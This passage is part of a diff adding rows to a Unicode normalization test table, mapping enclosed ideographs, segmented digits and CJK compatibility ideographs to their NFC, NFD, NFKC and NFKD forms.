+{ source: [0x1F217], NFC: [0x1F217], NFD: [0x1F217], NFKC: [0x5929], NFKD: [0x5929] },
+{ source: [0x1F218], NFC: [0x1F218], NFD: [0x1F218], NFKC: [0x4EA4], NFKD: [0x4EA4] },
+{ source: [0x1F219], NFC: [0x1F219], NFD: [0x1F219], NFKC: [0x6620], NFKD: [0x6620] },
+{ source: [0x1F21A], NFC: [0x1F21A], NFD: [0x1F21A], NFKC: [0x7121], NFKD: [0x7121] },
+{ source: [0x1F21B], NFC: [0x1F21B], NFD: [0x1F21B], NFKC: [0x6599], NFKD: [0x6599] },
+{ source: [0x1F21C], NFC: [0x1F21C], NFD: [0x1F21C], NFKC: [0x524D], NFKD: [0x524D] },
+{ source: [0x1F21D], NFC: [0x1F21D], NFD: [0x1F21D], NFKC: [0x5F8C], NFKD: [0x5F8C] },
+{ source: [0x1F21E], NFC: [0x1F21E], NFD: [0x1F21E], NFKC: [0x518D], NFKD: [0x518D] },
+{ source: [0x1F21F], NFC: [0x1F21F], NFD: [0x1F21F], NFKC: [0x65B0], NFKD: [0x65B0] },
+{ source: [0x1F220], NFC: [0x1F220], NFD: [0x1F220], NFKC: [0x521D], NFKD: [0x521D] },
+{ source: [0x1F221], NFC: [0x1F221], NFD: [0x1F221], NFKC: [0x7D42], NFKD: [0x7D42] },
+{ source: [0x1F222], NFC: [0x1F222], NFD: [0x1F222], NFKC: [0x751F], NFKD: [0x751F] },
+{ source: [0x1F223], NFC: [0x1F223], NFD: [0x1F223], NFKC: [0x8CA9], NFKD: [0x8CA9] },
+{ source: [0x1F224], NFC: [0x1F224], NFD: [0x1F224], NFKC: [0x58F0], NFKD: [0x58F0] },
+{ source: [0x1F225], NFC: [0x1F225], NFD: [0x1F225], NFKC: [0x5439], NFKD: [0x5439] },
+{ source: [0x1F226], NFC: [0x1F226], NFD: [0x1F226], NFKC: [0x6F14], NFKD: [0x6F14] },
+{ source: [0x1F227], NFC: [0x1F227], NFD: [0x1F227], NFKC: [0x6295], NFKD: [0x6295] },
+{ source: [0x1F228], NFC: [0x1F228], NFD: [0x1F228], NFKC: [0x6355], NFKD: [0x6355] },
+{ source: [0x1F229], NFC: [0x1F229], NFD: [0x1F229], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x1F22A], NFC: [0x1F22A], NFD: [0x1F22A], NFKC: [0x4E09], NFKD: [0x4E09] },
+{ source: [0x1F22B], NFC: [0x1F22B], NFD: [0x1F22B], NFKC: [0x904A], NFKD: [0x904A] },
+{ source: [0x1F22C], NFC: [0x1F22C], NFD: [0x1F22C], NFKC: [0x5DE6], NFKD: [0x5DE6] },
+{ source: [0x1F22D], NFC: [0x1F22D], NFD: [0x1F22D], NFKC: [0x4E2D], NFKD: [0x4E2D] },
+{ source: [0x1F22E], NFC: [0x1F22E], NFD: [0x1F22E], NFKC: [0x53F3], NFKD: [0x53F3] },
+{ source: [0x1F22F], NFC: [0x1F22F], NFD: [0x1F22F], NFKC: [0x6307], NFKD: [0x6307] },
+{ source: [0x1F230], NFC: [0x1F230], NFD: [0x1F230], NFKC: [0x8D70], NFKD: [0x8D70] },
+{ source: [0x1F231], NFC: [0x1F231], NFD: [0x1F231], NFKC: [0x6253], NFKD: [0x6253] },
+{ source: [0x1F232], NFC: [0x1F232], NFD: [0x1F232], NFKC: [0x7981], NFKD: [0x7981] },
+{ source: [0x1F233], NFC: [0x1F233], NFD: [0x1F233], NFKC: [0x7A7A], NFKD: [0x7A7A] },
+{ source: [0x1F234], NFC: [0x1F234], NFD: [0x1F234], NFKC: [0x5408], NFKD: [0x5408] },
+{ source: [0x1F235], NFC: [0x1F235], NFD: [0x1F235], NFKC: [0x6E80], NFKD: [0x6E80] },
+{ source: [0x1F236], NFC: [0x1F236], NFD: [0x1F236], NFKC: [0x6709], NFKD: [0x6709] },
+{ source: [0x1F237], NFC: [0x1F237], NFD: [0x1F237], NFKC: [0x6708], NFKD: [0x6708] },
+{ source: [0x1F238], NFC: [0x1F238], NFD: [0x1F238], NFKC: [0x7533], NFKD: [0x7533] },
+{ source: [0x1F239], NFC: [0x1F239], NFD: [0x1F239], NFKC: [0x5272], NFKD: [0x5272] },
+{ source: [0x1F23A], NFC: [0x1F23A], NFD: [0x1F23A], NFKC: [0x55B6], NFKD: [0x55B6] },
+{ source: [0x1F23B], NFC: [0x1F23B], NFD: [0x1F23B], NFKC: [0x914D], NFKD: [0x914D] },
+{ source: [0x1F240], NFC: [0x1F240], NFD: [0x1F240], NFKC: [0x3014, 0x672C, 0x3015], NFKD: [0x3014, 0x672C, 0x3015] },
+{ source: [0x1F241], NFC: [0x1F241], NFD: [0x1F241], NFKC: [0x3014, 0x4E09, 0x3015], NFKD: [0x3014, 0x4E09, 0x3015] },
+{ source: [0x1F242], NFC: [0x1F242], NFD: [0x1F242], NFKC: [0x3014, 0x4E8C, 0x3015], NFKD: [0x3014, 0x4E8C, 0x3015] },
+{ source: [0x1F243], NFC: [0x1F243], NFD: [0x1F243], NFKC: [0x3014, 0x5B89, 0x3015], NFKD: [0x3014, 0x5B89, 0x3015] },
+{ source: [0x1F244], NFC: [0x1F244], NFD: [0x1F244], NFKC: [0x3014, 0x70B9, 0x3015], NFKD: [0x3014, 0x70B9, 0x3015] },
+{ source: [0x1F245], NFC: [0x1F245], NFD: [0x1F245], NFKC: [0x3014, 0x6253, 0x3015], NFKD: [0x3014, 0x6253, 0x3015] },
+{ source: [0x1F246], NFC: [0x1F246], NFD: [0x1F246], NFKC: [0x3014, 0x76D7, 0x3015], NFKD: [0x3014, 0x76D7, 0x3015] },
+{ source: [0x1F247], NFC: [0x1F247], NFD: [0x1F247], NFKC: [0x3014, 0x52DD, 0x3015], NFKD: [0x3014, 0x52DD, 0x3015] },
+{ source: [0x1F248], NFC: [0x1F248], NFD: [0x1F248], NFKC: [0x3014, 0x6557, 0x3015], NFKD: [0x3014, 0x6557, 0x3015] },
+{ source: [0x1F250], NFC: [0x1F250], NFD: [0x1F250], NFKC: [0x5F97], NFKD: [0x5F97] },
+{ source: [0x1F251], NFC: [0x1F251], NFD: [0x1F251], NFKC: [0x53EF], NFKD: [0x53EF] },
+{ source: [0x1FBF0], NFC: [0x1FBF0], NFD: [0x1FBF0], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1FBF1], NFC: [0x1FBF1], NFD: [0x1FBF1], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1FBF2], NFC: [0x1FBF2], NFD: [0x1FBF2], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1FBF3], NFC: [0x1FBF3], NFD: [0x1FBF3], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1FBF4], NFC: [0x1FBF4], NFD: [0x1FBF4], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1FBF5], NFC: [0x1FBF5], NFD: [0x1FBF5], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1FBF6], NFC: [0x1FBF6], NFD: [0x1FBF6], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1FBF7], NFC: [0x1FBF7], NFD: [0x1FBF7], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1FBF8], NFC: [0x1FBF8], NFD: [0x1FBF8], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1FBF9], NFC: [0x1FBF9], NFD: [0x1FBF9], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x2F800], NFC: [0x4E3D], NFD: [0x4E3D], NFKC: [0x4E3D], NFKD: [0x4E3D] },
+{ source: [0x2F801], NFC: [0x4E38], NFD: [0x4E38], NFKC: [0x4E38], NFKD: [0x4E38] },
+{ source: [0x2F802], NFC: [0x4E41], NFD: [0x4E41], NFKC: [0x4E41], NFKD: [0x4E41] },
+{ source: [0x2F803], NFC: [0x20122], NFD: [0x20122], NFKC: [0x20122], NFKD: [0x20122] },
+{ source: [0x2F804], NFC: [0x4F60], NFD: [0x4F60], NFKC: [0x4F60], NFKD: [0x4F60] },
+{ source: [0x2F805], NFC: [0x4FAE], NFD: [0x4FAE], NFKC: [0x4FAE], NFKD: [0x4FAE] },
+{ source: [0x2F806], NFC: [0x4FBB], NFD: [0x4FBB], NFKC: [0x4FBB], NFKD: [0x4FBB] },
+{ source: [0x2F807], NFC: [0x5002], NFD: [0x5002], NFKC: [0x5002], NFKD: [0x5002] },
+{ source: [0x2F808], NFC: [0x507A], NFD: [0x507A], NFKC: [0x507A], NFKD: [0x507A] },
+{ source: [0x2F809], NFC: [0x5099], NFD: [0x5099], NFKC: [0x5099], NFKD: [0x5099] },
+{ source: [0x2F80A], NFC: [0x50E7], NFD: [0x50E7], NFKC: [0x50E7], NFKD: [0x50E7] },
+{ source: [0x2F80B], NFC: [0x50CF], NFD: [0x50CF], NFKC: [0x50CF], NFKD: [0x50CF] },
+{ source: [0x2F80C], NFC: [0x349E], NFD: [0x349E], NFKC: [0x349E], NFKD: [0x349E] },
+{ source: [0x2F80D], NFC: [0x2063A], NFD: [0x2063A], NFKC: [0x2063A], NFKD: [0x2063A] },
+{ source: [0x2F80E], NFC: [0x514D], NFD: [0x514D], NFKC: [0x514D], NFKD: [0x514D] },
+{ source: [0x2F80F], NFC: [0x5154], NFD: [0x5154], NFKC: [0x5154], NFKD: [0x5154] },
+{ source: [0x2F810], NFC: [0x5164], NFD: [0x5164], NFKC: [0x5164], NFKD: [0x5164] },
+{ source: [0x2F811], NFC: [0x5177], NFD: [0x5177], NFKC: [0x5177], NFKD: [0x5177] },
+{ source: [0x2F812], NFC: [0x2051C], NFD: [0x2051C], NFKC: [0x2051C], NFKD: [0x2051C] },
+{ source: [0x2F813], NFC: [0x34B9], NFD: [0x34B9], NFKC: [0x34B9], NFKD: [0x34B9] },
+{ source: [0x2F814], NFC: [0x5167], NFD: [0x5167], NFKC: [0x5167], NFKD: [0x5167] },
+{ source: [0x2F815], NFC: [0x518D], NFD: [0x518D], NFKC: [0x518D], NFKD: [0x518D] },
+{ source: [0x2F816], NFC: [0x2054B], NFD: [0x2054B], NFKC: [0x2054B], NFKD: [0x2054B] },
+{ source: [0x2F817], NFC: [0x5197], NFD: [0x5197], NFKC: [0x5197], NFKD: [0x5197] },
+{ source: [0x2F818], NFC: [0x51A4], NFD: [0x51A4], NFKC: [0x51A4], NFKD: [0x51A4] },
+{ source: [0x2F819], NFC: [0x4ECC], NFD: [0x4ECC], NFKC: [0x4ECC], NFKD: [0x4ECC] },
+{ source: [0x2F81A], NFC: [0x51AC], NFD: [0x51AC], NFKC: [0x51AC], NFKD: [0x51AC] },
+{ source: [0x2F81B], NFC: [0x51B5], NFD: [0x51B5], NFKC: [0x51B5], NFKD: [0x51B5] },
+{ source: [0x2F81C], NFC: [0x291DF], NFD: [0x291DF], NFKC: [0x291DF], NFKD: [0x291DF] },
+{ source: [0x2F81D], NFC: [0x51F5], NFD: [0x51F5], NFKC: [0x51F5], NFKD: [0x51F5] },
+{ source: [0x2F81E], NFC: [0x5203], NFD: [0x5203], NFKC: [0x5203], NFKD: [0x5203] },
+{ source: [0x2F81F], NFC: [0x34DF], NFD: [0x34DF], NFKC: [0x34DF], NFKD: [0x34DF] },
+{ source: [0x2F820], NFC: [0x523B], NFD: [0x523B], NFKC: [0x523B], NFKD: [0x523B] },
+{ source: [0x2F821], NFC: [0x5246], NFD: [0x5246], NFKC: [0x5246], NFKD: [0x5246] },
+{ source: [0x2F822], NFC: [0x5272], NFD: [0x5272], NFKC: [0x5272], NFKD: [0x5272] },
+{ source: [0x2F823], NFC: [0x5277], NFD: [0x5277], NFKC: [0x5277], NFKD: [0x5277] },
+{ source: [0x2F824], NFC: [0x3515], NFD: [0x3515], NFKC: [0x3515], NFKD: [0x3515] },
+{ source: [0x2F825], NFC: [0x52C7], NFD: [0x52C7], NFKC: [0x52C7], NFKD: [0x52C7] },
+{ source: [0x2F826], NFC: [0x52C9], NFD: [0x52C9], NFKC: [0x52C9], NFKD: [0x52C9] },
+{ source: [0x2F827], NFC: [0x52E4], NFD: [0x52E4], NFKC: [0x52E4], NFKD: [0x52E4] },
+{ source: [0x2F828], NFC: [0x52FA], NFD: [0x52FA], NFKC: [0x52FA], NFKD: [0x52FA] },
+{ source: [0x2F829], NFC: [0x5305], NFD: [0x5305], NFKC: [0x5305], NFKD: [0x5305] },
+{ source: [0x2F82A], NFC: [0x5306], NFD: [0x5306], NFKC: [0x5306], NFKD: [0x5306] },
+{ source: [0x2F82B], NFC: [0x5317], NFD: [0x5317], NFKC: [0x5317], NFKD: [0x5317] },
+{ source: [0x2F82C], NFC: [0x5349], NFD: [0x5349], NFKC: [0x5349], NFKD: [0x5349] },
+{ source: [0x2F82D], NFC: [0x5351], NFD: [0x5351], NFKC: [0x5351], NFKD: [0x5351] },
+{ source: [0x2F82E], NFC: [0x535A], NFD: [0x535A], NFKC: [0x535A], NFKD: [0x535A] },
+{ source: [0x2F82F], NFC: [0x5373], NFD: [0x5373], NFKC: [0x5373], NFKD: [0x5373] },
+{ source: [0x2F830], NFC: [0x537D], NFD: [0x537D], NFKC: [0x537D], NFKD: [0x537D] },
+{ source: [0x2F831], NFC: [0x537F], NFD: [0x537F], NFKC: [0x537F], NFKD: [0x537F] },
+{ source: [0x2F832], NFC: [0x537F], NFD: [0x537F], NFKC: [0x537F], NFKD: [0x537F] },
+{ source: [0x2F833], NFC: [0x537F], NFD: [0x537F], NFKC: [0x537F], NFKD: [0x537F] },
+{ source: [0x2F834], NFC: [0x20A2C], NFD: [0x20A2C], NFKC: [0x20A2C], NFKD: [0x20A2C] },
+{ source: [0x2F835], NFC: [0x7070], NFD: [0x7070], NFKC: [0x7070], NFKD: [0x7070] },
+{ source: [0x2F836], NFC: [0x53CA], NFD: [0x53CA], NFKC: [0x53CA], NFKD: [0x53CA] },
+{ source: [0x2F837], NFC: [0x53DF], NFD: [0x53DF], NFKC: [0x53DF], NFKD: [0x53DF] },
+{ source: [0x2F838], NFC: [0x20B63], NFD: [0x20B63], NFKC: [0x20B63], NFKD: [0x20B63] },
+{ source: [0x2F839], NFC: [0x53EB], NFD: [0x53EB], NFKC: [0x53EB], NFKD: [0x53EB] },
+{ source: [0x2F83A], NFC: [0x53F1], NFD: [0x53F1], NFKC: [0x53F1], NFKD: [0x53F1] },
+{ source: [0x2F83B], NFC: [0x5406], NFD: [0x5406], NFKC: [0x5406], NFKD: [0x5406] },
+{ source: [0x2F83C], NFC: [0x549E], NFD: [0x549E], NFKC: [0x549E], NFKD: [0x549E] },
+{ source: [0x2F83D], NFC: [0x5438], NFD: [0x5438], NFKC: [0x5438], NFKD: [0x5438] },
+{ source: [0x2F83E], NFC: [0x5448], NFD: [0x5448], NFKC: [0x5448], NFKD: [0x5448] },
+{ source: [0x2F83F], NFC: [0x5468], NFD: [0x5468], NFKC: [0x5468], NFKD: [0x5468] },
+{ source: [0x2F840], NFC: [0x54A2], NFD: [0x54A2], NFKC: [0x54A2], NFKD: [0x54A2] },
+{ source: [0x2F841], NFC: [0x54F6], NFD: [0x54F6], NFKC: [0x54F6], NFKD: [0x54F6] },
+{ source: [0x2F842], NFC: [0x5510], NFD: [0x5510], NFKC: [0x5510], NFKD: [0x5510] },
+{ source: [0x2F843], NFC: [0x5553], NFD: [0x5553], NFKC: [0x5553], NFKD: [0x5553] },
+{ source: [0x2F844], NFC: [0x5563], NFD: [0x5563], NFKC: [0x5563], NFKD: [0x5563] },
+{ source: [0x2F845], NFC: [0x5584], NFD: [0x5584], NFKC: [0x5584], NFKD: [0x5584] },
+{ source: [0x2F846], NFC: [0x5584], NFD: [0x5584], NFKC: [0x5584], NFKD: [0x5584] },
+{ source: [0x2F847], NFC: [0x5599], NFD: [0x5599], NFKC: [0x5599], NFKD: [0x5599] },
+{ source: [0x2F848], NFC: [0x55AB], NFD: [0x55AB], NFKC: [0x55AB], NFKD: [0x55AB] },
+{ source: [0x2F849], NFC: [0x55B3], NFD: [0x55B3], NFKC: [0x55B3], NFKD: [0x55B3] },
+{ source: [0x2F84A], NFC: [0x55C2], NFD: [0x55C2], NFKC: [0x55C2], NFKD: [0x55C2] },
+{ source: [0x2F84B], NFC: [0x5716], NFD: [0x5716], NFKC: [0x5716], NFKD: [0x5716] },
+{ source: [0x2F84C], NFC: [0x5606], NFD: [0x5606], NFKC: [0x5606], NFKD: [0x5606] },
+{ source: [0x2F84D], NFC: [0x5717], NFD: [0x5717], NFKC: [0x5717], NFKD: [0x5717] },
+{ source: [0x2F84E], NFC: [0x5651], NFD: [0x5651], NFKC: [0x5651], NFKD: [0x5651] },
+{ source: [0x2F84F], NFC: [0x5674], NFD: [0x5674], NFKC: [0x5674], NFKD: [0x5674] },
+{ source: [0x2F850], NFC: [0x5207], NFD: [0x5207], NFKC: [0x5207], NFKD: [0x5207] },
+{ source: [0x2F851], NFC: [0x58EE], NFD: [0x58EE], NFKC: [0x58EE], NFKD: [0x58EE] },
+{ source: [0x2F852], NFC: [0x57CE], NFD: [0x57CE], NFKC: [0x57CE], NFKD: [0x57CE] },
+{ source: [0x2F853], NFC: [0x57F4], NFD: [0x57F4], NFKC: [0x57F4], NFKD: [0x57F4] },
+{ source: [0x2F854], NFC: [0x580D], NFD: [0x580D], NFKC: [0x580D], NFKD: [0x580D] },
+{ source: [0x2F855], NFC: [0x578B], NFD: [0x578B], NFKC: [0x578B], NFKD: [0x578B] },
+{ source: [0x2F856], NFC: [0x5832], NFD: [0x5832], NFKC: [0x5832], NFKD: [0x5832] },
+{ source: [0x2F857], NFC: [0x5831], NFD: [0x5831], NFKC: [0x5831], NFKD: [0x5831] },
+{ source: [0x2F858], NFC: [0x58AC], NFD: [0x58AC], NFKC: [0x58AC], NFKD: [0x58AC] },
+{ source: [0x2F859], NFC: [0x214E4], NFD: [0x214E4], NFKC: [0x214E4], NFKD: [0x214E4] },
+{ source: [0x2F85A], NFC: [0x58F2], NFD: [0x58F2], NFKC: [0x58F2], NFKD: [0x58F2] },
+{ source: [0x2F85B], NFC: [0x58F7], NFD: [0x58F7], NFKC: [0x58F7], NFKD: [0x58F7] },
+{ source: [0x2F85C], NFC: [0x5906], NFD: [0x5906], NFKC: [0x5906], NFKD: [0x5906] },
+{ source: [0x2F85D], NFC: [0x591A], NFD: [0x591A], NFKC: [0x591A], NFKD: [0x591A] },
+{ source: [0x2F85E], NFC: [0x5922], NFD: [0x5922], NFKC: [0x5922], NFKD: [0x5922] },
+{ source: [0x2F85F], NFC: [0x5962], NFD: [0x5962], NFKC: [0x5962], NFKD: [0x5962] },
+{ source: [0x2F860], NFC: [0x216A8], NFD: [0x216A8], NFKC: [0x216A8], NFKD: [0x216A8] },
+{ source: [0x2F861], NFC: [0x216EA], NFD: [0x216EA], NFKC: [0x216EA], NFKD: [0x216EA] },
+{ source: [0x2F862], NFC: [0x59EC], NFD: [0x59EC], NFKC: [0x59EC], NFKD: [0x59EC] },
+{ source: [0x2F863], NFC: [0x5A1B], NFD: [0x5A1B], NFKC: [0x5A1B], NFKD: [0x5A1B] },
+{ source: [0x2F864], NFC: [0x5A27], NFD: [0x5A27], NFKC: [0x5A27], NFKD: [0x5A27] },
+{ source: [0x2F865], NFC: [0x59D8], NFD: [0x59D8], NFKC: [0x59D8], NFKD: [0x59D8] },
+{ source: [0x2F866], NFC: [0x5A66], NFD: [0x5A66], NFKC: [0x5A66], NFKD: [0x5A66] },
+{ source: [0x2F867], NFC: [0x36EE], NFD: [0x36EE], NFKC: [0x36EE], NFKD: [0x36EE] },
+{ source: [0x2F868], NFC: [0x36FC], NFD: [0x36FC], NFKC: [0x36FC], NFKD: [0x36FC] },
+{ source: [0x2F869], NFC: [0x5B08], NFD: [0x5B08], NFKC: [0x5B08], NFKD: [0x5B08] },
+{ source: [0x2F86A], NFC: [0x5B3E], NFD: [0x5B3E], NFKC: [0x5B3E], NFKD: [0x5B3E] },
+{ source: [0x2F86B], NFC: [0x5B3E], NFD: [0x5B3E], NFKC: [0x5B3E], NFKD: [0x5B3E] },
+{ source: [0x2F86C], NFC: [0x219C8], NFD: [0x219C8], NFKC: [0x219C8], NFKD: [0x219C8] },
+{ source: [0x2F86D], NFC: [0x5BC3], NFD: [0x5BC3], NFKC: [0x5BC3], NFKD: [0x5BC3] },
+{ source: [0x2F86E], NFC: [0x5BD8], NFD: [0x5BD8], NFKC: [0x5BD8], NFKD: [0x5BD8] },
+{ source: [0x2F86F], NFC: [0x5BE7], NFD: [0x5BE7], NFKC: [0x5BE7], NFKD: [0x5BE7] },
+{ source: [0x2F870], NFC: [0x5BF3], NFD: [0x5BF3], NFKC: [0x5BF3], NFKD: [0x5BF3] },
+{ source: [0x2F871], NFC: [0x21B18], NFD: [0x21B18], NFKC: [0x21B18], NFKD: [0x21B18] },
+{ source: [0x2F872], NFC: [0x5BFF], NFD: [0x5BFF], NFKC: [0x5BFF], NFKD: [0x5BFF] },
+{ source: [0x2F873], NFC: [0x5C06], NFD: [0x5C06], NFKC: [0x5C06], NFKD: [0x5C06] },
+{ source: [0x2F874], NFC: [0x5F53], NFD: [0x5F53], NFKC: [0x5F53], NFKD: [0x5F53] },
+{ source: [0x2F875], NFC: [0x5C22], NFD: [0x5C22], NFKC: [0x5C22], NFKD: [0x5C22] },
+{ source: [0x2F876], NFC: [0x3781], NFD: [0x3781], NFKC: [0x3781], NFKD: [0x3781] },
+{ source: [0x2F877], NFC: [0x5C60], NFD: [0x5C60], NFKC: [0x5C60], NFKD: [0x5C60] },
+{ source: [0x2F878], NFC: [0x5C6E], NFD: [0x5C6E], NFKC: [0x5C6E], NFKD: [0x5C6E] },
+{ source: [0x2F879], NFC: [0x5CC0], NFD: [0x5CC0], NFKC: [0x5CC0], NFKD: [0x5CC0] },
+{ source: [0x2F87A], NFC: [0x5C8D], NFD: [0x5C8D], NFKC: [0x5C8D], NFKD: [0x5C8D] },
+{ source: [0x2F87B], NFC: [0x21DE4], NFD: [0x21DE4], NFKC: [0x21DE4], NFKD: [0x21DE4] },
+{ source: [0x2F87C], NFC: [0x5D43], NFD: [0x5D43], NFKC: [0x5D43], NFKD: [0x5D43] },
+{ source: [0x2F87D], NFC: [0x21DE6], NFD: [0x21DE6], NFKC: [0x21DE6], NFKD: [0x21DE6] },
+{ source: [0x2F87E], NFC: [0x5D6E], NFD: [0x5D6E], NFKC: [0x5D6E], NFKD: [0x5D6E] },
+{ source: [0x2F87F], NFC: [0x5D6B], NFD: [0x5D6B], NFKC: [0x5D6B], NFKD: [0x5D6B] },
+{ source: [0x2F880], NFC: [0x5D7C], NFD: [0x5D7C], NFKC: [0x5D7C], NFKD: [0x5D7C] },
+{ source: [0x2F881], NFC: [0x5DE1], NFD: [0x5DE1], NFKC: [0x5DE1], NFKD: [0x5DE1] },
+{ source: [0x2F882], NFC: [0x5DE2], NFD: [0x5DE2], NFKC: [0x5DE2], NFKD: [0x5DE2] },
+{ source: [0x2F883], NFC: [0x382F], NFD: [0x382F], NFKC: [0x382F], NFKD: [0x382F] },
+{ source: [0x2F884], NFC: [0x5DFD], NFD: [0x5DFD], NFKC: [0x5DFD], NFKD: [0x5DFD] },
+{ source: [0x2F885], NFC: [0x5E28], NFD: [0x5E28], NFKC: [0x5E28], NFKD: [0x5E28] },
+{ source: [0x2F886], NFC: [0x5E3D], NFD: [0x5E3D], NFKC: [0x5E3D], NFKD: [0x5E3D] },
+{ source: [0x2F887], NFC: [0x5E69], NFD: [0x5E69], NFKC: [0x5E69], NFKD: [0x5E69] },
+{ source: [0x2F888], NFC: [0x3862], NFD: [0x3862], NFKC: [0x3862], NFKD: [0x3862] },
+{ source: [0x2F889], NFC: [0x22183], NFD: [0x22183], NFKC: [0x22183], NFKD: [0x22183] },
+{ source: [0x2F88A], NFC: [0x387C], NFD: [0x387C], NFKC: [0x387C], NFKD: [0x387C] },
+{ source: [0x2F88B], NFC: [0x5EB0], NFD: [0x5EB0], NFKC: [0x5EB0], NFKD: [0x5EB0] },
+{ source: [0x2F88C], NFC: [0x5EB3], NFD: [0x5EB3], NFKC: [0x5EB3], NFKD: [0x5EB3] },
+{ source: [0x2F88D], NFC: [0x5EB6], NFD: [0x5EB6], NFKC: [0x5EB6], NFKD: [0x5EB6] },
+{ source: [0x2F88E], NFC: [0x5ECA], NFD: [0x5ECA], NFKC: [0x5ECA], NFKD: [0x5ECA] },
+{ source: [0x2F88F], NFC: [0x2A392], NFD: [0x2A392], NFKC: [0x2A392], NFKD: [0x2A392] },
+{ source: [0x2F890], NFC: [0x5EFE], NFD: [0x5EFE], NFKC: [0x5EFE], NFKD: [0x5EFE] },
+{ source: [0x2F891], NFC: [0x22331], NFD: [0x22331], NFKC: [0x22331], NFKD: [0x22331] },
+{ source: [0x2F892], NFC: [0x22331], NFD: [0x22331], NFKC: [0x22331], NFKD: [0x22331] },
+{ source: [0x2F893], NFC: [0x8201], NFD: [0x8201], NFKC: [0x8201], NFKD: [0x8201] },
+{ source: [0x2F894], NFC: [0x5F22], NFD: [0x5F22], NFKC: [0x5F22], NFKD: [0x5F22] },
+{ source: [0x2F895], NFC: [0x5F22], NFD: [0x5F22], NFKC: [0x5F22], NFKD: [0x5F22] },
+{ source: [0x2F896], NFC: [0x38C7], NFD: [0x38C7], NFKC: [0x38C7], NFKD: [0x38C7] },
+{ source: [0x2F897], NFC: [0x232B8], NFD: [0x232B8], NFKC: [0x232B8], NFKD: [0x232B8] },
+{ source: [0x2F898], NFC: [0x261DA], NFD: [0x261DA], NFKC: [0x261DA], NFKD: [0x261DA] },
+{ source: [0x2F899], NFC: [0x5F62], NFD: [0x5F62], NFKC: [0x5F62], NFKD: [0x5F62] },
+{ source: [0x2F89A], NFC: [0x5F6B], NFD: [0x5F6B], NFKC: [0x5F6B], NFKD: [0x5F6B] },
+{ source: [0x2F89B], NFC: [0x38E3], NFD: [0x38E3], NFKC: [0x38E3], NFKD: [0x38E3] },
+{ source: [0x2F89C], NFC: [0x5F9A], NFD: [0x5F9A], NFKC: [0x5F9A], NFKD: [0x5F9A] },
+{ source: [0x2F89D], NFC: [0x5FCD], NFD: [0x5FCD], NFKC: [0x5FCD], NFKD: [0x5FCD] },
+{ source: [0x2F89E], NFC: [0x5FD7], NFD: [0x5FD7], NFKC: [0x5FD7], NFKD: [0x5FD7] },
+{ source: [0x2F89F], NFC: [0x5FF9], NFD: [0x5FF9], NFKC: [0x5FF9], NFKD: [0x5FF9] },
+{ source: [0x2F8A0], NFC: [0x6081], NFD: [0x6081], NFKC: [0x6081], NFKD: [0x6081] },
+{ source: [0x2F8A1], NFC: [0x393A], NFD: [0x393A], NFKC: [0x393A], NFKD: [0x393A] },
+{ source: [0x2F8A2], NFC: [0x391C], NFD: [0x391C], NFKC: [0x391C], NFKD: [0x391C] },
+{ source: [0x2F8A3], NFC: [0x6094], NFD: [0x6094], NFKC: [0x6094], NFKD: [0x6094] },
+{ source: [0x2F8A4], NFC: [0x226D4], NFD: [0x226D4], NFKC: [0x226D4], NFKD: [0x226D4] },
+{ source: [0x2F8A5], NFC: [0x60C7], NFD: [0x60C7], NFKC: [0x60C7], NFKD: [0x60C7] },
+{ source: [0x2F8A6], NFC: [0x6148], NFD: [0x6148], NFKC: [0x6148], NFKD: [0x6148] },
+{ source: [0x2F8A7], NFC: [0x614C], NFD: [0x614C], NFKC: [0x614C], NFKD: [0x614C] },
+{ source: [0x2F8A8], NFC: [0x614E], NFD: [0x614E], NFKC: [0x614E], NFKD: [0x614E] },
+{ source: [0x2F8A9], NFC: [0x614C], NFD: [0x614C], NFKC: [0x614C], NFKD: [0x614C] },
+{ source: [0x2F8AA], NFC: [0x617A], NFD: [0x617A], NFKC: [0x617A], NFKD: [0x617A] },
+{ source: [0x2F8AB], NFC: [0x618E], NFD: [0x618E], NFKC: [0x618E], NFKD: [0x618E] },
+{ source: [0x2F8AC], NFC: [0x61B2], NFD: [0x61B2], NFKC: [0x61B2], NFKD: [0x61B2] },
+{ source: [0x2F8AD], NFC: [0x61A4], NFD: [0x61A4], NFKC: [0x61A4], NFKD: [0x61A4] },
+{ source: [0x2F8AE], NFC: [0x61AF], NFD: [0x61AF], NFKC: [0x61AF], NFKD: [0x61AF] },
+{ source: [0x2F8AF], NFC: [0x61DE], NFD: [0x61DE], NFKC: [0x61DE], NFKD: [0x61DE] },
+{ source: [0x2F8B0], NFC: [0x61F2], NFD: [0x61F2], NFKC: [0x61F2], NFKD: [0x61F2] },
+{ source: [0x2F8B1], NFC: [0x61F6], NFD: [0x61F6], NFKC: [0x61F6], NFKD: [0x61F6] },
+{ source: [0x2F8B2], NFC: [0x6210], NFD: [0x6210], NFKC: [0x6210], NFKD: [0x6210] },
+{ source: [0x2F8B3], NFC: [0x621B], NFD: [0x621B], NFKC: [0x621B], NFKD: [0x621B] },
+{ source: [0x2F8B4], NFC: [0x625D], NFD: [0x625D], NFKC: [0x625D], NFKD: [0x625D] },
+{ source: [0x2F8B5], NFC: [0x62B1], NFD: [0x62B1], NFKC: [0x62B1], NFKD: [0x62B1] },
+{ source: [0x2F8B6], NFC: [0x62D4], NFD: [0x62D4], NFKC: [0x62D4], NFKD: [0x62D4] },
+{ source: [0x2F8B7], NFC: [0x6350], NFD: [0x6350], NFKC: [0x6350], NFKD: [0x6350] },
+{ source: [0x2F8B8], NFC: [0x22B0C], NFD: [0x22B0C], NFKC: [0x22B0C], NFKD: [0x22B0C] },
+{ source: [0x2F8B9], NFC: [0x633D], NFD: [0x633D], NFKC: [0x633D], NFKD: [0x633D] },
+{ source: [0x2F8BA], NFC: [0x62FC], NFD: [0x62FC], NFKC: [0x62FC], NFKD: [0x62FC] },
+{ source: [0x2F8BB], NFC: [0x6368], NFD: [0x6368], NFKC: [0x6368], NFKD: [0x6368] },
